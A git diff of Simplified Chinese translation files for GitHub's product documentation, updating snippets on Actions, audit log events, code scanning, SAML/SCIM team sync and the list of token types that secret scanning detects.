b/translations/zh-CN/data/reusables/actions/about-actions.md @@ -0,0 +1 @@ +{% data variables.product.prodname_actions %} is a continuous integration and continuous delivery (CI/CD) platform that allows you to automate your build, test, and deployment pipeline. diff --git a/translations/zh-CN/data/reusables/actions/about-artifact-log-retention.md b/translations/zh-CN/data/reusables/actions/about-artifact-log-retention.md index fa0d622b8a..b4b454f393 100644 --- a/translations/zh-CN/data/reusables/actions/about-artifact-log-retention.md +++ b/translations/zh-CN/data/reusables/actions/about-artifact-log-retention.md @@ -1,6 +1,9 @@ 默认情况下，工作流程生成的构件和日志文件将保留 90 天，然后自动删除。 您可以根据仓库类型调整保留期： +{%- ifversion fpt or ghec or ghes %} - 对于公共仓库：您可以将此保留期更改为 1 至 90 天。 -- 对于私有、内部和 {% data variables.product.prodname_ghe_server %} 仓库：您可以将此保留期更改为 1 至 400 天。 +{%- endif %} + +- For private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories: you can change this retention period to anywhere between 1 day or 400 days. 自定义保留期时，它仅适用于新构件和日志文件，并且不追溯性地应用于现有对象。 对于托管的仓库和组织，最长保留期不能超过管理组织或企业设置的限制。 diff --git a/translations/zh-CN/data/reusables/actions/about-runners.md b/translations/zh-CN/data/reusables/actions/about-runners.md new file mode 100644 index 0000000000..0b661b9ecf --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/about-runners.md @@ -0,0 +1 @@ +A runner is a server that runs your workflows when they're triggered. diff --git a/translations/zh-CN/data/reusables/actions/access-actions-on-dotcom.md b/translations/zh-CN/data/reusables/actions/access-actions-on-dotcom.md new file mode 100644 index 0000000000..1d7857ade0 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/access-actions-on-dotcom.md @@ -0,0 +1 @@ +如果企业中的用户需要访问来自 {% data variables.product.prodname_dotcom_the_website %} 或 {% data variables.product.prodname_marketplace %} 的其他操作，有几个配置选项。 diff --git a/translations/zh-CN/data/reusables/actions/actions-audit-events-workflow.md b/translations/zh-CN/data/reusables/actions/actions-audit-events-workflow.md index bca28bfdc8..6ae297abcb 100644 --- a/translations/zh-CN/data/reusables/actions/actions-audit-events-workflow.md +++ b/translations/zh-CN/data/reusables/actions/actions-audit-events-workflow.md @@ -1,12 +1,12 @@ -| 操作 | 描述 | -| ------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| 操作 | 描述 | +| ------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} | `cancel_workflow_run` | 工作流程运行取消时触发。 更多信息请参阅“[取消工作流程](/actions/managing-workflow-runs/canceling-a-workflow)。{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} | `completed_workflow_run` | 当工作流程状态更改为`完成`时触发。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} | `created_workflow_run` | 工作流程运行创建时触发。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[创建示例工作流程](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)。{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `delete_workflow_run` | 工作流程运行被删除时触发。 更多信息请参阅“[删除工作流程运行](/actions/managing-workflow-runs/deleting-a-workflow-run)”。 | -| `disable_workflow` | 工作流程禁用时触发。 | -| `enable_workflow` | 在之前被 `disable_workflow` 禁用后，当工作流程启用时触发。 | +| `delete_workflow_run` | 工作流程运行被删除时触发。 更多信息请参阅“[删除工作流程运行](/actions/managing-workflow-runs/deleting-a-workflow-run)”。 | +| `disable_workflow` | 工作流程禁用时触发。 | +| `enable_workflow` | 在之前被 `disable_workflow` 禁用后，当工作流程启用时触发。 | | `rerun_workflow_run` | 工作流程运行重新运行时触发。 For more information, see "[Re-running a workflow](/actions/managing-workflow-runs/re-running-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `prepared_workflow_job` | 工作流程作业启动时触发。 包括提供给作业的机密列表。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | +| `prepared_workflow_job` | 工作流程作业启动时触发。 包括提供给作业的机密列表。 Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | | `reject_workflow_job` | Triggered when a workflow job has been rejected. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."{% endif %} diff --git a/translations/zh-CN/data/reusables/actions/actions-bundled-with-ghes.md b/translations/zh-CN/data/reusables/actions/actions-bundled-with-ghes.md new file mode 100644 index 0000000000..f4e762315f --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/actions-bundled-with-ghes.md @@ -0,0 +1 @@ +大多数官方 {% data variables.product.prodname_dotcom %} 编写的操作都会自动与 {% data variables.product.product_name %} 捆绑在一起，并且会在某个时间点从 {% data variables.product.prodname_marketplace %} 获取。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/actions/general-security-hardening.md b/translations/zh-CN/data/reusables/actions/general-security-hardening.md new file mode 100644 index 0000000000..21ef09663a --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/general-security-hardening.md @@ -0,0 +1,3 @@ +## {% data variables.product.prodname_actions %} 的一般安全性增强 + +如需了解有关 {% data variables.product.prodname_actions %} 安全实践的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的安全性增强](/actions/learn-github-actions/security-hardening-for-github-actions)”。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/actions/introducing-enterprise.md b/translations/zh-CN/data/reusables/actions/introducing-enterprise.md new file mode 100644 index 0000000000..b7e8b0856c --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/introducing-enterprise.md @@ -0,0 +1 @@ +Before you get started, you should make a plan for how you'll introduce {% data variables.product.prodname_actions %} to your enterprise. For more information, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)." \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/actions/migrating-enterprise.md b/translations/zh-CN/data/reusables/actions/migrating-enterprise.md new file mode 100644 index 0000000000..9876b13360 --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/migrating-enterprise.md @@ -0,0 +1 @@ +If you're migrating your enterprise to {% data variables.product.prodname_actions %} from another provider, there are additional considerations. For more information, see "[Migrating your enterprise to {% data variables.product.prodname_actions %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions)." \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/actions/pass-inputs-to-reusable-workflows.md b/translations/zh-CN/data/reusables/actions/pass-inputs-to-reusable-workflows.md new file mode 100644 index 0000000000..8769f339da --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/pass-inputs-to-reusable-workflows.md @@ -0,0 +1,13 @@ +To pass named inputs to a called workflow, use the `with` keyword in a job. Use the `secrets` keyword to pass named secrets. For inputs, the data type of the input value must match the type specified in the called workflow (either boolean, number, or string). + +{% raw %} +```yaml +jobs: + call-workflow-passing-data: + uses: octo-org/example-repo/.github/workflows/reusable-workflow.yml@main + with: + username: mona + secrets: + envPAT: ${{ secrets.envPAT }} +``` +{% endraw %} \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/actions/self-hosted-runner-ports-protocols.md b/translations/zh-CN/data/reusables/actions/self-hosted-runner-ports-protocols.md new file mode 100644 index 0000000000..486bb3838a --- /dev/null +++ b/translations/zh-CN/data/reusables/actions/self-hosted-runner-ports-protocols.md @@ -0,0 +1,3 @@ +{% ifversion ghes or ghae %} +The connection between self-hosted runners and {% data variables.product.product_name %} is over HTTP (port 80) and HTTPS (port 443). +{% endif %} \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/advanced-security/check-for-ghas-license.md b/translations/zh-CN/data/reusables/advanced-security/check-for-ghas-license.md new file mode 100644 index 0000000000..bc8a36a0fc --- /dev/null +++ b/translations/zh-CN/data/reusables/advanced-security/check-for-ghas-license.md @@ -0,0 +1 @@ +You can identify if your enterprise has a {% data variables.product.prodname_GH_advanced_security %} license by reviewing {% ifversion ghes = 3.0 %}the {% data variables.enterprise.management_console %}{% elsif ghes > 3.0 %}your enterprise settings{% endif %}. For more information, see "[Enabling GitHub Advanced Security for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise#checking-whether-your-license-includes-github-advanced-security)." diff --git a/translations/zh-CN/data/reusables/code-scanning/enabling-options.md b/translations/zh-CN/data/reusables/code-scanning/enabling-options.md index 251602e3c5..c2e0277d08 100644 --- a/translations/zh-CN/data/reusables/code-scanning/enabling-options.md +++ b/translations/zh-CN/data/reusables/code-scanning/enabling-options.md @@ -19,10 +19,10 @@ {%- ifversion fpt or ghes > 3.0 or ghae-next %} | -{% data variables.product.prodname_codeql %} | 使用 {% data variables.product.prodname_actions %}（请参阅“[使用操作设置 {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)”）或在第三方持续集成 (CI) 系统中运行 {% data variables.product.prodname_codeql %} 分析（请参阅“[关于 CI 系统中的 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)”）。 +{% data variables.product.prodname_codeql %} | Using {% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or running {% data variables.product.prodname_codeql %} analysis in a third-party continuous integration (CI) system (see "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)"). {%- else %} | -{% data variables.product.prodname_codeql %} | 使用 {% data variables.product.prodname_actions %}（请参阅“[使用操作设置 {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)”）或使用第三方持续集成 (CI) 系统中的 {% data variables.product.prodname_codeql_runner %}（请参阅“[在 CI 系统中运行 {% data variables.product.prodname_codeql %} 代码扫码](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)”）。 +{% data variables.product.prodname_codeql %} | Using {% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or using the {% data variables.product.prodname_codeql_runner %} in a third-party continuous integration (CI) system (see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system)"). {%- endif %} | 第三‑方 | 使用 -{% data variables.product.prodname_actions %}（请参阅“[使用操作设置 {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)”）或在外部生成并上传到 {% data variables.product.product_name %}（请参阅“[将 SARIF 文件上传到 {% data variables.product.prodname_dotcom %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github)”）。| +{% data variables.product.prodname_actions %} (see "[Setting up {% data variables.product.prodname_code_scanning %} using actions](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)") or generated externally and uploaded to {% data variables.product.product_name %} (see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)").| diff --git a/translations/zh-CN/data/reusables/enterprise_management_console/advanced-security-license.md b/translations/zh-CN/data/reusables/enterprise_management_console/advanced-security-license.md index 3e59df1f1b..1ac84b67d1 100644 --- a/translations/zh-CN/data/reusables/enterprise_management_console/advanced-security-license.md +++ b/translations/zh-CN/data/reusables/enterprise_management_console/advanced-security-license.md @@ -1 +1 @@ -如果您在侧边栏中看不到 {% ifversion ghes < 3.2 %}**{% data variables.product.prodname_advanced_security %}**{% else %}**安全**{% endif %}，这意味着您的许可不支持 {% data variables.product.prodname_advanced_security %} 功能，包括 {% data variables.product.prodname_code_scanning %} 和 {% data variables.product.prodname_secret_scanning %}。 {% data variables.product.prodname_advanced_security %} 的许可使您和您的用户能够访问那些有助于提高仓库和代码安全性的功能。 {% ifversion ghes %}更多信息请参阅“[关于 GitHub 高级安全性](/github/getting-started-with-github/about-github-advanced-security)”或联系 {% data variables.contact.contact_enterprise_sales %}。{% endif %} +如果您在侧边栏中看不到 **{% data variables.product.prodname_advanced_security %}**，这意味着您的许可不支持 {% data variables.product.prodname_advanced_security %} 功能，包括 {% data variables.product.prodname_code_scanning %} 和 {% data variables.product.prodname_secret_scanning %}。 {% data variables.product.prodname_advanced_security %} 的许可使您和您的用户能够访问那些有助于提高仓库和代码安全性的功能。 For more information, see "[About GitHub Advanced Security](/github/getting-started-with-github/about-github-advanced-security)" or contact {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/zh-CN/data/reusables/gated-features/dependency-review.md b/translations/zh-CN/data/reusables/gated-features/dependency-review.md index e9c8291901..0a7c119f65 100644 --- a/translations/zh-CN/data/reusables/gated-features/dependency-review.md +++ b/translations/zh-CN/data/reusables/gated-features/dependency-review.md @@ -1,3 +1,3 @@ -{% ifversion fpt or ghec %}Dependency review is available for all public repositories and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled.{% endif %} +{% ifversion fpt or ghec %}Dependency review is available for all public repositories, as well as well as private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled.{% endif %} {% ifversion ghes > 3.1 %}Dependency review is available for organization-owned repositories where {% data variables.product.prodname_GH_advanced_security %} is enabled. {% endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/zh-CN/data/reusables/gated-features/okta-team-sync.md b/translations/zh-CN/data/reusables/gated-features/okta-team-sync.md deleted file mode 100644 index a5b2aac7e6..0000000000 --- a/translations/zh-CN/data/reusables/gated-features/okta-team-sync.md +++ /dev/null @@ -1,9 +0,0 @@ -{% ifversion not ghae %} - -{% note %} - -**注：**与 Okta 的团队同步目前处于测试阶段，可能会有变更。 请联系您的 GitHub 销售客户代表注册测试版。 - -{% endnote %} - -{% endif %} diff --git a/translations/zh-CN/data/reusables/github-actions/enabled-actions-description.md b/translations/zh-CN/data/reusables/github-actions/enabled-actions-description.md index d0243d646c..3f5092e9ca 100644 --- a/translations/zh-CN/data/reusables/github-actions/enabled-actions-description.md +++ b/translations/zh-CN/data/reusables/github-actions/enabled-actions-description.md @@ -1 +1 @@ -当您启用 {% data variables.product.prodname_actions %} 时，工作流程能够运行位于您的仓库和任何其他公共仓库中的操作。 +When you enable {% data variables.product.prodname_actions %}, workflows are able to run actions located within your repository and any other{% ifversion fpt %} public{% elsif ghec or ghes %} public or internal{% elsif ghae %} internal{% endif %} repository. diff --git a/translations/zh-CN/data/reusables/github-actions/private-repository-forks-overview.md b/translations/zh-CN/data/reusables/github-actions/private-repository-forks-overview.md index fedebd16a6..cbf507d7ae 100644 --- a/translations/zh-CN/data/reusables/github-actions/private-repository-forks-overview.md +++ b/translations/zh-CN/data/reusables/github-actions/private-repository-forks-overview.md @@ -1,4 +1,4 @@ -如果您依赖于使用私有仓库的复刻，您可以配置策略来控制用户如何在 `pull_request` 事件上运行工作流程。 Available to private and internal repositories only, you can configure these policy settings for enterprises, organizations, or repositories. 对于企业，该策略将应用到所有组织中的所有仓库。 +如果您依赖于使用私有仓库的复刻，您可以配置策略来控制用户如何在 `pull_request` 事件上运行工作流程。 Available to private {% ifversion ghec or ghes or ghae %}and internal{% endif %} repositories only, you can configure these policy settings for {% ifversion ghec %}enterprises, {% elsif ghes or ghae %}your enterprise, {% endif %}organizations, or repositories.{% ifversion ghec or ghes or ghae %} For enterprises, the policies are applied to all repositories in all organizations.{% endif %} - **Run workflows from fork pull requests（从复刻拉取请求运行工作流程）** - 允许用户使用具有只读权限、没有密码访问权限的 `GITHUB_TOKEN`从复刻拉取请求运行工作流程。 - **Send write tokens to workflows from pull requests（从拉取请求向工作流程发送写入令牌）** - 允许从复刻拉取请求以使用具有写入权限的 `GITHUB_TOKEN`。 diff --git a/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-confirm-saml.md b/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-confirm-saml.md index ee0d86bc2b..953c191d12 100644 --- a/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-confirm-saml.md +++ b/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-confirm-saml.md @@ -1 +1 @@ -3. 确认 SAML SSO 已启用。 更多信息请参阅“[管理组织的 SAML 单点登录](/organizations/managing-saml-single-sign-on-for-your-organization/)”。 +3. Confirm that SAML SSO is enabled for your organization. 更多信息请参阅“[管理组织的 SAML 单点登录](/organizations/managing-saml-single-sign-on-for-your-organization/)”。 diff --git a/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-confirm-scim.md b/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-confirm-scim.md new file mode 100644 index 0000000000..f7cfaf6571 --- /dev/null +++ b/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-confirm-scim.md @@ -0,0 +1 @@ +1. We recommend you confirm that your users have SAML enabled and have a linked SCIM identity to avoid potential provisioning errors. For help auditing your users, see "[Auditing users for missing SCIM metadata](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management#auditing-users-for-missing-scim-metadata)." For help resolving unlinked SCIM identities, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)." \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-okta-requirements.md index 0d7f97c6da..e31f311b00 100644 --- a/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-okta-requirements.md +++ b/translations/zh-CN/data/reusables/identity-and-permissions/team-sync-okta-requirements.md @@ -1,5 +1,5 @@ -要对 Okta 启用团队同步，您或 IdP 管理员必须： +Before you enable team synchronization for Okta, you or your IdP administrator must: -- 使用 Okta 为组织启用 SAML SSO 和 SCIM。 更多信息请参阅“[使用 Okta 配置 SAML 单点登录和 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)”。 +- Configure the SAML, SSO, and SCIM integration for your organization using Okta. 更多信息请参阅“[使用 Okta 配置 SAML 单点登录和 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)”。 - 提供 Okta 实例的租户 URL。 - 为安装为服务用户的 Okta 生成具有只读管理员权限的有效 SSWS 令牌。 更多信息请参阅 Okta 文档中的[创建令牌](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/)和[服务用户](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm)。 diff --git a/translations/zh-CN/data/reusables/package_registry/checksum-maven-plugin.md b/translations/zh-CN/data/reusables/package_registry/checksum-maven-plugin.md index 002c32e10f..3d980144e1 100644 --- a/translations/zh-CN/data/reusables/package_registry/checksum-maven-plugin.md +++ b/translations/zh-CN/data/reusables/package_registry/checksum-maven-plugin.md @@ -1,5 +1,5 @@ {%- ifversion ghae %} -1. 在 *pom.xml* 文件的 `plugins` 元素中，添加 [checksum-maven-plugin](http://checksum-maven-plugin.nicoulaj.net/index.html) 插件，并配置插件发送至少 SHA-256 校验和。 +1. In the `plugins` element of the *pom.xml* file, add the [checksum-maven-plugin](https://search.maven.org/artifact/net.nicoulaj.maven.plugins/checksum-maven-plugin) plugin, and configure the plugin to send at least SHA-256 checksums. ```xml diff --git a/translations/zh-CN/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md b/translations/zh-CN/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md index 9963ec979e..337a2b54c8 100644 --- a/translations/zh-CN/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md +++ b/translations/zh-CN/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md @@ -6,6 +6,6 @@ - 当 [LDAP 同步启用](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap/#enabling-ldap-sync)后，如果从仓库删除某用户，此用户将失去访问权，但其复刻不会被删除。 如果此用户在三个月内被加入具有原组织仓库访问权限的团队，则其对复刻的访问权限将在下次同步时自动恢复。{% endif %} - 您负责确保无法访问仓库的人员删除任何机密信息或知识产权。 -- 对私有{% ifversion fpt or ghes or ghae or ghec %}或内部{% endif %}仓库拥有管理员权限的人可以禁止对该仓库进行复刻，组织所有者可以禁止对组织中的任何私有{% ifversion fpt or ghes or ghae or ghec %}或内部{% endif %}仓库进行复刻。 更多信息请参阅“[管理组织的复刻政策](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)”和“[管理仓库的复刻政策](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)”。 +- 对私有{% ifversion ghes or ghae or ghec %}或内部{% endif %}仓库拥有管理员权限的人可以禁止对该仓库进行复刻，组织所有者可以禁止对组织中的任何私有{% ifversion ghes or ghae or ghec %}或内部{% endif %}仓库进行复刻。 更多信息请参阅“[管理组织的复刻政策](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)”和“[管理仓库的复刻政策](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)”。 {% endwarning %} diff --git a/translations/zh-CN/data/reusables/repositories/enable-security-alerts.md b/translations/zh-CN/data/reusables/repositories/enable-security-alerts.md index 0e595e042f..160488a4c3 100644 --- a/translations/zh-CN/data/reusables/repositories/enable-security-alerts.md +++ b/translations/zh-CN/data/reusables/repositories/enable-security-alerts.md @@ -1,4 +1,4 @@ {% ifversion ghes or ghae-issue-4864 %} Enterprise owners must enable -{% data variables.product.product_location %} 警示 {% data variables.product.prodname_dependabot %} 的漏洞依赖项，您才能使用这些功能。 更多信息请参阅“[在企业帐户上启用依赖关系图和 {% data variables.product.prodname_dependabot_alerts %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)”。 +{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies for {% data variables.product.product_location %} before you can use this feature. 更多信息请参阅“[在企业帐户上启用依赖关系图和 {% data variables.product.prodname_dependabot_alerts %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)”。 {% endif %} diff --git a/translations/zh-CN/data/reusables/repositories/security-alerts-x-github-severity.md b/translations/zh-CN/data/reusables/repositories/security-alerts-x-github-severity.md index 62691f4854..2741a8f189 100644 --- a/translations/zh-CN/data/reusables/repositories/security-alerts-x-github-severity.md +++ b/translations/zh-CN/data/reusables/repositories/security-alerts-x-github-severity.md @@ -1 +1 @@ -影响一个或多个仓库的{% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}安全警报{% endif %}电子邮件通知包含 `X-GitHub-Severity` 标头字段。 您可以使用 `X-GitHub-Severity` 标头字段的值过滤{% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}安全警报{% endif %}的电子邮件通知。 +Email notifications for {% data variables.product.prodname_dependabot_alerts %} that affect one or more repositories include the `X-GitHub-Severity` header field. You can use the value of the `X-GitHub-Severity` header field to filter email notifications for {% data variables.product.prodname_dependabot_alerts %}. diff --git a/translations/zh-CN/data/reusables/saml/okta-edit-provisioning.md b/translations/zh-CN/data/reusables/saml/okta-edit-provisioning.md index 8d289bf1ee..0ae5a8ae64 100644 --- a/translations/zh-CN/data/reusables/saml/okta-edit-provisioning.md +++ b/translations/zh-CN/data/reusables/saml/okta-edit-provisioning.md @@ -1,3 +1,4 @@ +9. To avoid syncing errors and confirm that your users have SAML enabled and SCIM linked identities, we recommend you audit your organization's users. For more information, see "[Auditing users for missing SCIM metadata](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management#auditing-users-for-missing-scim-metadata)." 10. 在“Provisioning to App（配置到 App）”的右侧，单击 **Edit（编辑）**。 ![用于 Okta 应用程序配置选项的"Edit（编辑）"按钮](/assets/images/help/saml/okta-provisioning-to-app-edit-button.png) 11. 在“Create Users（创建用户）”的右侧，选择 **Enable（启用）**。 ![用于 Okta 应用程序"Create Users（创建用户）"选项的"Enable（启用）"复选框](/assets/images/help/saml/okta-provisioning-enable-create-users.png) 12. 在“Update User Attributes（更新用户属性）”的右侧，选择 **Enable（启用）**。 ![用于 Okta 应用程序"Update User Attributes（更新用户属性）"选项的"Enable（启用）"复选框](/assets/images/help/saml/okta-provisioning-enable-update-user-attributes.png) diff --git a/translations/zh-CN/data/reusables/secret-scanning/api-beta.md b/translations/zh-CN/data/reusables/secret-scanning/api-beta.md index 6443172412..fcc30dbb27 100644 --- a/translations/zh-CN/data/reusables/secret-scanning/api-beta.md +++ b/translations/zh-CN/data/reusables/secret-scanning/api-beta.md @@ -1,4 +1,4 @@ -{% ifversion ghes > 3.0 %} +{% ifversion ghes > 3.0 or ghae-next %} {% note %} diff --git a/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md index b14b190e27..9d94e10288 100644 --- a/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -64,7 +64,9 @@ GitHub | GitHub OAuth Access Token | github_oauth_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} GitHub | GitHub Refresh Token | github_refresh_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -GitHub | GitHub App Installation Access Token | github_app_installation_access_token{% endif %} GitHub | GitHub SSH Private Key | github_ssh_private_key GoCardless | GoCardless Live Access Token | gocardless_live_access_token GoCardless | GoCardless Sandbox Access Token | gocardless_sandbox_access_token +GitHub | GitHub App Installation Access Token | github_app_installation_access_token{% endif %} GitHub | GitHub SSH Private Key | github_ssh_private_key +{%- ifversion fpt or ghec or ghes > 3.3 %} +GitLab | GitLab Access Token | gitlab_access_token{% endif %} GoCardless | GoCardless Live Access Token | gocardless_live_access_token GoCardless | GoCardless Sandbox Access Token | gocardless_sandbox_access_token {%- ifversion fpt or ghec or ghes > 3.2 %} Google | Firebase Cloud Messaging Server Key | firebase_cloud_messaging_server_key{% endif %} Google | Google API Key | google_api_key Google | Google Cloud Private Key ID | google_cloud_private_key_id {%- ifversion fpt or ghec or ghes > 3.2 %} @@ -74,6 +76,8 @@ Google | Google Cloud Storage Service Account Access Key ID | google_cloud_stora {%- ifversion fpt or ghec or ghes > 3.2 %} Google | Google Cloud Storage User Access Key ID | google_cloud_storage_user_access_key_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} +Google | Google OAuth Access Token | google_oauth_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client ID | google_oauth_client_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %} @@ -140,7 +144,11 @@ Sendinblue | Sendinblue SMTP Key | sendinblue_smtp_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Shippo | Shippo Live API Token | shippo_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token Shopify | Shopify Private App Password | shopify_private_app_password Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url SSLMate | SSLMate API Key | sslmate_api_key SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret Stripe | Stripe API Key | stripe_api_key +Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token Shopify | Shopify Private App Password | shopify_private_app_password Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL 